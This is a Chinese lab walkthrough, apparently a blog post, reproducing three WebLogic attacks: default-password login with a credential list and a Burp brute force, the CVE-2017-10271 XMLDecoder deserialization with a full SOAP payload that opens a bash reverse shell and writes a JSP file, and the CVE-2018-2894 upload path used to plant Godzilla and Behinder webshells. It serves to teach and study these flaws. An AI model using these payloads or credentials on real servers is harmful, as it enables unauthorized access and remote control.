weblogic漏洞复现

目录

1.weblogic弱口令复现:

2.CVE-2017-10271

3.CVE-2018-2894


1.weblogic弱口令复现:

安装好环境后,启动环境(环境有问题百度一下)

2083f9c14b3c4808961a254da897b643.png

输入  192.168.xx.xx(自己的靶机地址):7001/console 启动weblogic服务页面。(7001使weblogic的默认地址(可以改),console使初始化weblogci页面)ps:不初始化直接输入7001是一个404报错页面(是正常的)

d38be09c1b1a44518fd3ea2e475128a9.png

由于管理员配置不当,该环境存在弱口令的密码问题,可以直接通过常用的弱口令来尝试验证能否登录。常用弱口令:(ps:收集的)

system / password

weblogic / weblogic

weblogic / Oracle@123

admin / admin

joe / password

mary / password

system / security

wlcsystem /   wlcsystem

wlpisystem / wlpisystem

通过弱口令weblogic / Oracle@123成功登录

ab95d0de5c024af8ab588f8fb3c9dd8e.png

此外还可以使用burpusite进行密码爆破

d09e6d027d144301b07ce256c0dd6c94.png

d5466ee682304a8cb175331ed0d2fa5a.png

8f8cff4d82934a62b7010168503e9dc4.png

54f2a046b46a4889b507eb2319af5531.png

爆破后发现就这个的长度和别人不一样,为账号密码。(ps:只是个爆破流程,这个靶场有点怪怪的,真实环境如果有碰到一些限制密码登录次数的这法子就不太好用了,并且账号密码需要自己的密码本里有才能成功) 登录后,开始对其进行操作

fb923d53acf84b5492ffb58102205dc4.png

981602cdaaf9406db88042c300071e54.png

由于weblogic的原因,这里上传的文件是一个war包。而war包是一个web模块,可以直接运行,一般开发好的网站,打包后部署到其的网站根目录下,然后重启,这个包就可以自动解压,相当于代码发布。

war包是java web程序打的包war包里包括: - 代码编译成的 class文件 - 依赖包 - 配置文件 - html,jsp

所以一个war包可以理解为是一个网站项目ps(:这段话引用于:【运维面试】面试官: jar包和war包有什么区别? - 知乎 (zhihu.com)

因此,这里需要将一个jsp的木马文件解压成war包,上传至weblogic的服务器中,来得到其权限。

,因此这里用到了哥斯拉工具来构造一个jsp的木马进行攻击。(ps:JSP全名为Java Server Pages,中文名叫java服务器页面。JSP页面可以包含静态内容和动态内容,动态内容由Java代码生成)

哥斯拉下载可以看看别的佬写的,按下图操作后默认jsp,将其重名到一个新的文件夹下。后缀为jsp

f04803c4d57245dcbbd1e5e8e4e789df.png

jar -cvf shellwar .    其中 jar -cvf表示对该文件夹内的内容进行压缩(所以要放在一个空的文件夹下)   shell.war表示压缩后文件夹的名字(此时该war包内就包含了这个jsp文件) 而最后那个,表示压缩到当前目录下。

b1c1dddc3e1e4ced8fa269d9ebbf9a2d.png

选择文件后默认下一步

c3ae2716173f474997674010db502d1d.png

35eb0b6103f4411c88911c538174bfb1.png

df313cbab7ad44e3b4ad029f11dbde8b.png

添加后右键进入url,即可看到相关信息。

08eb41b47bbc4904b19bb827528482cf.png

2.CVE-2017-10271

原理:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。(ps:反序列化漏洞有点难,可以自行百度一下。目前了解:php中的序列号简单来说就是将数据构造成字符串,将其更加方便开源快捷的进行数据传输,而反序列化就是将序列号的函数给同样的显示出来,而后通过php中的一些魔术方法,构造函数,导致木马的上传,进行攻击。 这里的反序列化漏洞是个xml decode的反序列化漏洞,可以自行百度

水平太菜,讲不清楚,(甚至可能讲错了)建议去看看别的佬。)

开启环境

9914a03dd55b49bb9ea31ac02451c05c.png

检测方法:先通过相关工具进行检测(XML反序列化漏洞检测工具),若是检测到该漏洞,则可以用一些基本已经固定的套路对其进行攻击。

拼接URL

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

进行路径拼接得到web services的界面  这里通过反弹shell的方式进行攻击

5d84b66256b34fe09af81c1bdb295fe9.png

刷新得到数据包放入重放器

3f5cbbf19a3145a9a407f3f043a383de.png

从漏洞原理来看,这个反序列化漏洞是要在post下才能实现的(传送数据给服务器),因此将数据包改为post,并且插入xml数据类型

c2609b88384f4e1a9bd29ea0303ed655.png

而后要通过反弹shell进行监听。这里通过一个poc来进行漏洞验证。(ps:poc漏洞验证代码,作用是验证是否存在漏洞。这种poc通常可以在百度上搜索或者自己写一个(后面这种有点难度,建议确认服务器版本后去百度搜索和他有关的漏洞))

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.184.128/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

406ee871075a428f8d6a76ff1f4a5194.png

也可以进行写入文件的操作

a3a718f5854e412e8ac77872d373bd3e.png

中间的cdata就是写入文件的具体代码,作用就是保护中间那个test不会被html解析。从而可以直接对该服务器写代码。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java><java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter">      <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
     <void method="println"><string>
     <![CDATA[
 <% out.print("test"); %>
     ]]>
     </string>
     </void>
     <void method="close"/>
     </object></java></java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
</soapenv:Envelope>

还可以将wbeshell进行上传,通过冰蝎中自带的shell.jsp文件,而后将该jsp文件(它的代码)拼接到刚刚的poc文件中,形成一个攻击文件。(因为里面已经塞入了一个冰蝎中jsp文件的代码,可以通过该冰蝎文件的代码直接连接至冰蝎。)

25a646a6dbbe4d8d9e43ff9764a50b3b.png

ef434f6eec8b427682ba85682ec655b3.png

点击send发送,就打开冰蝎进行连接。

41e632f2e3b446e1989a6abc143031e8.png

da57d6d4d9f2440399fefb7e93deccaf.png

3.CVE-2018-2894

漏洞原理

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,攻击者可通过访问此配置页面,用有效的WebLogic Web路径替换存储JKS Keystores的文件目录,然后上传恶意的JSP脚本木马文件。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。

由于该漏洞为文件上传的漏洞,因此这里需要先手动得到weblogic的密码进行登录查看。

docker-compose logs | grep password

6df0e288be6a4c478b075ce1e894e397.png

登录后:

effc34ffac9a4edca53b7f50ef9ec478.png

0c750e7fcced4c19b203e4def0bfa3ee.png

选中web服务测试也并进行保存(因为该漏洞存在于web服务测试页下)

a8ddda66803b4784b70ed47e9444339f.png

通过http://你自己的靶机IP:7001/ws_utc/config.do该ip,进入weblogic的设置页面下

ba0ff1f82bb748609a1fb97dfbe2edf6.png

在work home dir 处会自带一个绝对路径, 一般

是/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir,然后可以结合上述路径更改为如下路径,接着上传jsp文件获取一个webshell

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将该命令复制到work_home_id中。

9b8de34f454c41d1a2b61332e3e27eac.png

将冰蝎(server)下的jsp文件进行上传,名字可乱写。

d070efac804f4c279e13a1a6118e91fd.png

通过f12,寻找页面中的时间戳 这个时间戳每台机子都不一样,主要还是为了表名shell.jsp

文件创立的时间,避免连错其他文件。

034d02cfe54d4a06862876a735e96fba.png

通过冰蝎成功连接。

http://192.168.xx.xx:7001/ws_utc/css/config/keystore/xxxx(自己的时间戳)_shell.jsp

9f3c33a37b184b35b32251b7acc06f86.png

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值